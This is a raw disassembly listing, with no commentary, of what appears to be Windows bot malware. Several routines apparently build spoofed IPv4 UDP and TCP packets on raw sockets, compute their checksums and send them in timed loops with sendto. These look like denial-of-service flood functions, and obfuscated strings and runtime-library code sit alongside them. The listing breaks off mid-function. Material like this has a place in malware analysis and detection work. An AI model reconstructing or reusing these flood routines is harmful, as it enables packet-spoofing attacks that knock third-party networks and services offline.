loc_4288A2: ; CODE XREF: sub_428597+307j
cmp [ebp+var_4], esi
push ebx
push esi
jnz short loc_4288D6
call sub_41E34F
pop ecx
pop ecx
push eax
call dword_456F18 ; ntohs
mov word_676490, ax
mov eax, dword_676488
mov dword_6764B4, eax
mov byte_67649D, 2
mov dword_676498, esi
jmp short loc_4288F3
; ---------------------------------------------------------------------------
loc_4288D6: ; CODE XREF: sub_428597+310j
mov byte_67649D, 10h
call sub_41E34F
pop ecx
pop ecx
push eax
call dword_456F18 ; ntohs
movzx eax, ax
mov dword_676498, eax
loc_4288F3: ; CODE XREF: sub_428597+33Dj
inc word_676480
inc dword_676494
mov ax, word_676492
push 5
mov word_676486, si
mov word_6764A0, si
pop ecx
mov esi, offset word_676490
mov edi, offset dword_6764C0
push 14h
rep movsd
mov esi, offset byte_67647C
mov word_6764A6, ax
push esi
call sub_41E322
push 20h
push offset dword_6764B4
mov word_676486, ax
call sub_41E322
add esp, 10h
mov word_6764A0, ax
push 10h
push offset word_6764A4
push 0
push 28h
push esi
push dword_6764D8
call dword_456F8C ; sendto
inc [ebp+var_4]
cmp [ebp+var_4], 3FFh
jl loc_4288A0
call dword_437184 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_14]
ja short loc_4289A5
push [ebp+arg_18]
call dword_43718C ; Sleep
xor esi, esi
mov edi, 400h
jmp loc_428764
; ---------------------------------------------------------------------------
loc_4289A5: ; CODE XREF: sub_428597+3F7j
pop edi
pop esi
mov eax, offset dword_6764E0
pop ebx
leave
retn
sub_428597 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4289AF proc near ; DATA XREF: sub_40A938+7C54o
var_22C = byte ptr -22Ch
var_128 = dword ptr -128h
var_124 = byte ptr -124h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 22Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 47h
mov esi, eax
pop ecx
lea edi, [ebp+var_128]
rep movsd
mov ecx, [ebp+var_128]
mov esi, offset dword_457CD8
push 100h
push esi
mov [ebp+var_4], ecx
mov dword ptr [eax+118h], 1
call dword_4372DC
push esi
call dword_4372A0
mov eax, [eax+0Ch]
push esi
mov esi, dword_4372BC
mov eax, [eax]
mov edi, [eax]
call esi ; dword_4372BC
lea eax, [ebp+var_124]
push eax
call esi ; dword_4372BC
mov ebx, [ebp+var_20]
mov esi, [ebp+var_1C]
push 0
mov [ebp+var_8], eax
call sub_42A705
push eax
call sub_429ABF
pop ecx
test esi, esi
pop ecx
jle loc_428AC9
mov [ebp+var_C], esi
loc_428A32: ; CODE XREF: sub_4289AF+114j
call sub_429ACC
cdq
mov ecx, 0FFh
and edi, 0FFFFFFh
idiv ecx
shl edx, 18h
or edi, edx
call sub_429ACC
and [ebp+arg_0], 0
mov esi, eax
and esi, 0FFh
inc esi
test esi, esi
jle short loc_428A77
loc_428A60: ; CODE XREF: sub_4289AF+C6j
call sub_429ACC
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
cmp [ebp+arg_0], esi
mov [ebp+ecx+var_22C], al
jl short loc_428A60
loc_428A77: ; CODE XREF: sub_4289AF+AFj
call sub_429ACC
and eax, 3
jl short loc_428AC0
cmp eax, 1
jle short loc_428AA5
cmp eax, 2
jnz short loc_428AC0
push ebx
push [ebp+var_8]
call sub_429ACC
push eax
push edi
lea eax, [ebp+var_22C]
push esi
push eax
call sub_428D2F
jmp short loc_428ABD
; ---------------------------------------------------------------------------
loc_428AA5: ; CODE XREF: sub_4289AF+D5j
push ebx
push [ebp+var_8]
call sub_429ACC
push eax
push edi
lea eax, [ebp+var_22C]
push esi
push eax
call sub_428B36
loc_428ABD: ; CODE XREF: sub_4289AF+F4j
add esp, 18h
loc_428AC0: ; CODE XREF: sub_4289AF+D0j
; sub_4289AF+DAj
dec [ebp+var_C]
jnz loc_428A32
loc_428AC9: ; CODE XREF: sub_4289AF+7Aj
cmp [ebp+var_14], 0
mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
mov edi, offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
mov esi, offset aSSS_0 ; "%s %s (%s)"
jnz short loc_428B00
cmp [ebp+var_18], 0
jnz short loc_428B06
lea eax, [ebp+var_124]
push eax
push ebx
push edi
lea eax, [ebp+var_A4]
push esi
push eax
push [ebp+var_4]
call sub_41CD84
add esp, 18h
loc_428B00: ; CODE XREF: sub_4289AF+12Dj
cmp [ebp+var_18], 0
jz short loc_428B22
loc_428B06: ; CODE XREF: sub_4289AF+133j
lea eax, [ebp+var_124]
push eax
push ebx
push edi
lea eax, [ebp+var_A4]
push esi
push eax
push [ebp+var_4]
call sub_41CD0E
add esp, 18h
loc_428B22: ; CODE XREF: sub_4289AF+155j
push [ebp+var_24]
call sub_42355A
pop ecx
push 0
call dword_437170 ; ExitThread
pop edi
pop esi
pop ebx
sub_4289AF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428B36 proc near ; CODE XREF: sub_4289AF+109p
var_1038 = byte ptr -1038h
var_1034 = byte ptr -1034h
var_102F = byte ptr -102Fh
var_102E = byte ptr -102Eh
var_102C = byte ptr -102Ch
var_1024 = byte ptr -1024h
var_101C = byte ptr -101Ch
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1F = byte ptr -1Fh
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov eax, 1038h
call sub_429A90
push ebx
xor ebx, ebx
push ebx
push ebx
push ebx
push 11h
push 3
push 2
call dword_4372C4
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz short loc_428B79
lea ecx, [ebp+var_24]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_24], 1
call dword_437288
cmp eax, 0FFFFFFFFh
jnz short loc_428B80
loc_428B79: ; CODE XREF: sub_428B36+25j
xor eax, eax
jmp loc_428D2C
; ---------------------------------------------------------------------------
loc_428B80: ; CODE XREF: sub_428B36+41j
push esi
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_20], 45h
lea esi, [edi+1Ch]
mov [ebp+var_28], esi
call sub_429ACC
push esi
mov esi, dword_4372C0
mov [ebp+var_1F], al
call esi ; dword_4372C0
mov [ebp+var_1E], ax
call sub_429ACC
push eax
call esi ; dword_4372C0
mov [ebp+var_1C], ax
call sub_429ACC
push [ebp+arg_C]
mov [ebp+var_1A], ax
mov eax, [ebp+arg_8]
mov [ebp+var_18], 80h
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov [ebp+var_17], 11h
mov [ebp+var_16], bx
mov [ebp+var_10], eax
call esi ; dword_4372C0
push [ebp+arg_14]
mov [ebp+var_8], ax
call esi ; dword_4372C0
add edi, 8
mov [ebp+var_6], ax
push edi
call esi ; dword_4372C0
mov edi, 200h
mov [ebp+var_4], ax
push edi
lea eax, [ebp+var_1038]
push ebx
push eax
mov [ebp+var_2], bx
call sub_429690
lea eax, [ebp+var_14]
push 4
push eax
lea eax, [ebp+var_1038]
push eax
call sub_429350
lea eax, [ebp+var_10]
push 4
push eax
lea eax, [ebp+var_1034]
push eax
call sub_429350
lea eax, [ebp+var_17]
push 1
push eax
lea eax, [ebp+var_102F]
push eax
call sub_429350
lea eax, [ebp+var_4]
push 2
push eax
lea eax, [ebp+var_102E]
push eax
call sub_429350
lea eax, [ebp+var_8]
push 8
push eax
lea eax, [ebp+var_102C]
push eax
call sub_429350
movzx esi, word ptr [ebp+arg_4]
add esp, 48h
lea eax, [ebp+var_1024]
push esi
push [ebp+arg_0]
push eax
call sub_429350
lea eax, [esi+14h]
push eax
lea eax, [ebp+var_1038]
push eax
call sub_428F86
mov [ebp+var_2], ax
push edi
lea eax, [ebp+var_1038]
push ebx
push eax
call sub_429690
lea eax, [ebp+var_20]
push 14h
push eax
lea eax, [ebp+var_1038]
push eax
call sub_429350
lea eax, [ebp+var_8]
push 8
push eax
lea eax, [ebp+var_1024]
push eax
call sub_429350
push esi
lea eax, [ebp+var_101C]
push [ebp+arg_0]
push eax
call sub_429350
add esp, 44h
lea eax, [ebp+var_38]
push 10h
push ebx
push eax
call sub_429690
mov ax, [ebp+var_6]
add esp, 0Ch
mov [ebp+var_36], ax
mov eax, [ebp+var_10]
mov [ebp+var_34], eax
lea eax, [ebp+var_38]
push 10h
push eax
movzx eax, word ptr [ebp+var_28]
push ebx
push eax
lea eax, [ebp+var_1038]
mov [ebp+var_38], 2
push eax
push [ebp+var_C]
call dword_437290
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
push 2
mov esi, ecx
call dword_43718C ; Sleep
push [ebp+var_C]
call dword_4372D4
mov eax, esi
pop edi
pop esi
loc_428D2C: ; CODE XREF: sub_428B36+45j
pop ebx
leave
retn
sub_428B36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428D2F proc near ; CODE XREF: sub_4289AF+EFp
var_1044 = byte ptr -1044h
var_1040 = byte ptr -1040h
var_103B = byte ptr -103Bh
var_103A = byte ptr -103Ah
var_1038 = byte ptr -1038h
var_1030 = byte ptr -1030h
var_1024 = byte ptr -1024h
var_101C = byte ptr -101Ch
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1F = byte ptr -1Fh
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov eax, 1044h
call sub_429A90
push edi
xor edi, edi
push edi
push edi
push edi
push 0FFh
push 3
push 2
call dword_4372C4
cmp eax, 0FFFFFFFFh
mov [ebp+var_18], eax
jz short loc_428D75
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push edi
push eax
mov [ebp+var_34], 1
call dword_437288
cmp eax, 0FFFFFFFFh
jnz short loc_428D7C
loc_428D75: ; CODE XREF: sub_428D2F+28j
xor eax, eax
jmp loc_428F83
; ---------------------------------------------------------------------------
loc_428D7C: ; CODE XREF: sub_428D2F+44j
mov eax, [ebp+arg_4]
push ebx
push esi
mov [ebp+var_14], 45h
lea esi, [eax+28h]
mov [ebp+var_30], esi
call sub_429ACC
push esi
mov esi, dword_4372C0
mov [ebp+var_13], al
call esi ; dword_4372C0
mov [ebp+var_12], ax
call sub_429ACC
push eax
call esi ; dword_4372C0
mov [ebp+var_10], ax
call sub_429ACC
push [ebp+arg_C]
mov [ebp+var_E], ax
mov eax, [ebp+arg_8]
mov [ebp+var_C], 80h
mov [ebp+var_8], eax
mov eax, [ebp+arg_10]
mov [ebp+var_B], 6
mov [ebp+var_A], di
mov [ebp+var_4], eax
call esi ; dword_4372C0
push [ebp+arg_14]
mov [ebp+var_2C], ax
call esi ; dword_4372C0
mov [ebp+var_2A], ax
call sub_429ACC
mov ebx, dword_4372E0
push eax
call ebx ; dword_4372E0
mov [ebp+var_24], eax
mov eax, [ebp+arg_4]
add eax, 14h
push eax
call esi ; dword_4372C0
mov [ebp+var_20], al
call sub_429ACC
mov [ebp+var_1F], al
call sub_429ACC
push eax
call ebx ; dword_4372E0
push 1A0Ah
mov [ebp+var_28], eax
mov [ebp+var_1A], di
call esi ; dword_4372C0
mov ebx, 200h
mov [ebp+var_1E], ax
push ebx
lea eax, [ebp+var_1044]
push edi
push eax
mov [ebp+var_1C], di
call sub_429690
lea eax, [ebp+var_8]
push 4
push eax
lea eax, [ebp+var_1044]
push eax
call sub_429350
lea eax, [ebp+var_4]
push 4
push eax
lea eax, [ebp+var_1040]
push eax
call sub_429350
lea eax, [ebp+var_B]
push 1
push eax
lea eax, [ebp+var_103B]
push eax
call sub_429350
lea eax, [ebp+var_20]
push 2
push eax
lea eax, [ebp+var_103A]
push eax
call sub_429350
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_1038]
push eax
call sub_429350
movzx esi, word ptr [ebp+arg_4]
add esp, 48h
lea eax, [ebp+var_1024]
push esi
push [ebp+arg_0]
push eax
call sub_429350
lea eax, [esi+20h]
push eax
lea eax, [ebp+var_1044]
push eax
call sub_428F86
mov [ebp+var_1C], ax
push ebx
lea eax, [ebp+var_1044]
push edi
push eax
call sub_429690
lea eax, [ebp+var_14]
push 14h
push eax
lea eax, [ebp+var_1044]
push eax
call sub_429350
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_1030]
push eax
call sub_429350
push esi
lea eax, [ebp+var_101C]
push [ebp+arg_0]
push eax
call sub_429350
add esp, 44h
add esi, 34h
lea eax, [ebp+var_1044]
push esi
push eax
call sub_428F86
mov [ebp+var_A], ax
lea eax, [ebp+var_14]
push 14h
push eax
lea eax, [ebp+var_1044]
push eax
call sub_429350
push 10h
lea eax, [ebp+var_44]
push edi
push eax
call sub_429690
mov ax, [ebp+var_2A]
add esp, 20h
mov [ebp+var_42], ax
mov eax, [ebp+var_4]
mov [ebp+var_40], eax
lea eax, [ebp+var_44]
push 10h
push eax
movzx eax, word ptr [ebp+var_30]
push edi
push eax
lea eax, [ebp+var_1044]
mov [ebp+var_44], 2
push eax
push [ebp+var_18]
call dword_437290
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov esi, ecx
push 2
call dword_43718C ; Sleep
push [ebp+var_18]
call dword_4372D4
mov eax, esi
pop esi
pop ebx
loc_428F83: ; CODE XREF: sub_428D2F+48j
pop edi
leave
retn
sub_428D2F endp
; =============== S U B R O U T I N E =======================================
sub_428F86 proc near ; CODE XREF: sub_428B36+14Ap
; sub_428D2F+182p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
xor edx, edx
cmp ecx, 1
push esi
jle short loc_428FB1
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
mov esi, eax
neg esi
lea ecx, [ecx+esi*2]
mov esi, [esp+8+arg_0]
loc_428FA4: ; CODE XREF: sub_428F86+26j
movzx edi, word ptr [esi]
add edx, edi
inc esi
inc esi
dec eax
jnz short loc_428FA4
pop edi
jmp short loc_428FB5
; ---------------------------------------------------------------------------
loc_428FB1: ; CODE XREF: sub_428F86+Aj
mov esi, [esp+4+arg_0]
loc_428FB5: ; CODE XREF: sub_428F86+29j
test ecx, ecx
jz short loc_428FBE
movzx eax, byte ptr [esi]
add edx, eax
loc_428FBE: ; CODE XREF: sub_428F86+31j
mov ecx, edx
and edx, 0FFFFh
shr ecx, 20h
add ecx, edx
pop esi
mov eax, ecx
shr eax, 20h
add eax, ecx
not eax
retn
sub_428F86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428FD6 proc near ; CODE XREF: sub_41EF29+E7p
jmp dword_437108
sub_428FD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428FDC proc near ; CODE XREF: sub_41EF29+3Fp
jmp dword_437110
sub_428FDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428FE2 proc near ; CODE XREF: sub_41EF29+26p
; sub_41F02F+6Dp
jmp dword_437114
sub_428FE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428FE8 proc near ; CODE XREF: sub_41F02F+3A0p
jmp dword_437118
sub_428FE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428FEE proc near ; CODE XREF: sub_41F02F+8Bp
jmp dword_43711C
sub_428FEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428FF4 proc near ; CODE XREF: sub_4284AE+A0p
; sub_4284AE+B1p
jmp dword_4372E8
sub_428FF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428FFA proc near ; CODE XREF: sub_405C6A+83p
; sub_405C6A+121p ...
jmp dword_437248
sub_428FFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_429000 proc near ; CODE XREF: sub_41F02F+D2p
jmp dword_4372F4
sub_429000 endp
; =============== S U B R O U T I N E =======================================
sub_429006 proc near ; CODE XREF: sub_41553D+33p
; sub_41557B+33p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_429822
pop ecx
retn
sub_429006 endp
; =============== S U B R O U T I N E =======================================
sub_429011 proc near ; CODE XREF: sub_41B4FB+Dp
mov eax, offset loc_4365C4
call sub_42B6FC
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_41B427
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_4292D0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
loc_429040: ; DATA XREF: ?9:0043A055o
call sub_41B45F
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41B189
lea eax, [ebp-3Ch]
push offset dword_438638
push eax
mov dword ptr [ebp-3Ch], offset off_4373A4
call sub_42B82A
pop esi
sub_429011 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42906B proc near ; CODE XREF: sub_4290A8+20p
; DATA XREF: ?9:0043863Co
mov eax, offset loc_4365D8
call sub_42B6FC
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_4373C4
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_41B427
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_42B94B
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_42906B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4290A8 proc near ; DATA XREF: ?9:004373ACo
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4290E1
lea eax, [ebp+var_1C]
push offset dword_438638
push eax
call sub_42B82A
loc_4290C5: ; DATA XREF: ?9:off_4373A4o
push esi
mov esi, ecx
call sub_42906B
test [esp+20h+var_18], 1
jz short loc_4290DB
push esi
call sub_429006
pop ecx
loc_4290DB: ; CODE XREF: sub_4290A8+2Aj
mov eax, esi
pop esi
retn 4
sub_4290A8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4290E1 proc near ; CODE XREF: sub_4290A8+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41B26C
mov dword ptr [esi], offset off_4373A4
mov eax, esi
pop esi
retn 4
sub_4290E1 endp
; =============== S U B R O U T I N E =======================================
sub_4290F9 proc near ; CODE XREF: sub_41B35A+13p
; sub_41B494+Ep
; FUNCTION CHUNK AT 00429189 SIZE 0000000C BYTES
mov eax, offset loc_4365EC
call sub_42B6FC
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_41B427
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_4292D0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_41B45F
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41B189
lea eax, [ebp-3Ch]
push offset dword_438474
push eax
mov dword ptr [ebp-3Ch], offset off_4373D4
call sub_42B82A
pop esi
loc_429153: ; DATA XREF: ?9:0043A00Co
test byte_676C78, 1
jnz short loc_429163
or byte_676C78, 1
loc_429163: ; CODE XREF: sub_4290F9+61j
call sub_42917D
test byte_676C79, 1
jnz short loc_429178
or byte_676C79, 1
loc_429178: ; CODE XREF: sub_4290F9+76j
jmp loc_429189
sub_4290F9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42917D proc near ; CODE XREF: sub_4290F9:loc_429163p
push offset nullsub_1
call sub_42B799
pop ecx
retn
sub_42917D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4290F9
loc_429189: ; CODE XREF: sub_4290F9:loc_429178j
push offset nullsub_1
call sub_42B799
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_4290F9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_429196 proc near ; CODE XREF: sub_423BB1+10Ap
; sub_423BB1+1C3p ...
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_429205
retn 4
sub_429196 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4291A4 proc near ; CODE XREF: sub_423BB1+12Dp
; sub_423BB1+239p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
and [ebp+var_4], 0
test eax, eax
jz short loc_4291F6
mov ecx, [eax]
lea edx, [ebp+arg_4]
push edx
push offset dword_450E00
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_4291F6
mov eax, [ebp+arg_4]
push esi
push [ebp+arg_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov esi, eax
mov eax, [ebp+arg_4]
push eax
mov ecx, [eax]
call dword ptr [ecx+8]
test esi, esi
pop esi
jnz short loc_4291F6
lea eax, [ebp+var_4]
push eax
push 0
call dword_437250
test eax, eax
jz short loc_4291F6
and [ebp+var_4], 0
loc_4291F6: ; CODE XREF: sub_4291A4+Dj
; sub_4291A4+1Fj ...
push [ebp+var_4]
push [ebp+arg_0]
call sub_429205
leave
retn 0Ch
sub_4291A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429205 proc near ; CODE XREF: sub_429196+6p
; sub_4291A4+58p
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
lea ecx, [ebp+var_10]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_429229
lea eax, [ebp+var_10]
push offset dword_4386E8
push eax
call sub_42B82A
sub_429205 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_429229 proc near ; CODE XREF: sub_429205+11p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
mov eax, [esp+arg_0]
push esi
mov esi, ecx
and dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov eax, [esp+4+arg_4]
mov dword ptr [esi], offset off_4373FC
test eax, eax
mov [esi+8], eax
jz short loc_429255
cmp [esp+4+arg_8], 0
jz short loc_429255
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_429255: ; CODE XREF: sub_429229+1Dj
; sub_429229+24j
mov eax, esi
pop esi
retn 0Ch
sub_429229 endp
; =============== S U B R O U T I N E =======================================
sub_42925B proc near ; DATA XREF: ?9:off_4373FCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4292A4
test [esp+4+arg_0], 1
jz short loc_429271
push esi
call sub_429006
pop ecx
loc_429271: ; CODE XREF: sub_42925B+Dj
mov eax, esi
pop esi
retn 4
sub_42925B endp
; ---------------------------------------------------------------------------
mov eax, [esp+4]
push esi
mov esi, ecx
mov ecx, [eax+4]
mov [esi+4], ecx
mov eax, [eax+8]
and dword ptr [esi+0Ch], 0
mov [esi+8], eax
test eax, eax
mov dword ptr [esi], offset off_4373FC
jz short loc_42929E
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_42929E: ; CODE XREF: ?9:00429296j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4292A4 proc near ; CODE XREF: sub_42925B+3p
; DATA XREF: ?9:004386ECo
push esi
mov esi, ecx
mov eax, [esi+8]
mov dword ptr [esi], offset off_4373FC
test eax, eax
jz short loc_4292BA
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4292BA: ; CODE XREF: sub_4292A4+Ej
mov esi, [esi+0Ch]
test esi, esi
jz short loc_4292C8
push esi
call dword_43703C ; LocalFree
loc_4292C8: ; CODE XREF: sub_4292A4+1Bj
pop esi
retn
sub_4292A4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4292D0 proc near ; CODE XREF: sub_4011E4+7p
; sub_401B6E+29Ap ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_4292F0
loc_4292DC: ; CODE XREF: sub_4292D0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_429323
test ecx, 3
jnz short loc_4292DC
add eax, 0
loc_4292F0: ; CODE XREF: sub_4292D0+Aj
; sub_4292D0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_4292F0
mov eax, [ecx-4]
test al, al
jz short loc_429341
test ah, ah
jz short loc_429337
test eax, 0FF0000h
jz short loc_42932D
test eax, 0FF000000h
jz short loc_429323
jmp short loc_4292F0
; ---------------------------------------------------------------------------
loc_429323: ; CODE XREF: sub_4292D0+11j
; sub_4292D0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42932D: ; CODE XREF: sub_4292D0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_429337: ; CODE XREF: sub_4292D0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_429341: ; CODE XREF: sub_4292D0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_4292D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429350 proc near ; CODE XREF: sub_40100A+25p
; sub_401044+2Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_429370
cmp edi, eax
jb loc_4294E8
loc_429370: ; CODE XREF: sub_429350+16j
test edi, 3
jnz short loc_42938C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4293AC
rep movsd
jmp off_429498[edx*4]
; ---------------------------------------------------------------------------
loc_42938C: ; CODE XREF: sub_429350+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_4293A4
and eax, 3
add ecx, eax
jmp dword ptr loc_4293AC+4[eax*4]
; ---------------------------------------------------------------------------
loc_4293A4: ; CODE XREF: sub_429350+46j
jmp dword ptr loc_4294A8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4293AC: ; CODE XREF: sub_429350+31j
; sub_429350+8Ej ...
jmp off_42942C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4293BC+4
dd offset loc_4293EC
; ---------------------------------------------------------------------------
loc_4293BC: ; DATA XREF: sub_429350+64o
adc [edx+eax*2-752EDD00h], dl
push es
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_4293AC
rep movsd
jmp off_429498[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_4293EC: ; DATA XREF: sub_429350+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_4293AC
rep movsd
jmp off_429498[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_4293AC
rep movsd
jmp off_429498[edx*4]
; ---------------------------------------------------------------------------
align 4
off_42942C dd offset loc_42948F ; DATA XREF: sub_429350:loc_4293ACr
dd offset loc_42947C
dd offset loc_429474
dd offset loc_42946C
dd offset loc_429464
dd offset loc_42945C
dd offset loc_429454
dd offset loc_42944C
; ---------------------------------------------------------------------------
loc_42944C: ; CODE XREF: sub_429350:loc_4293ACj
; DATA XREF: sub_429350+F8o
mov eax, [esi+ecx*4-1Ch]
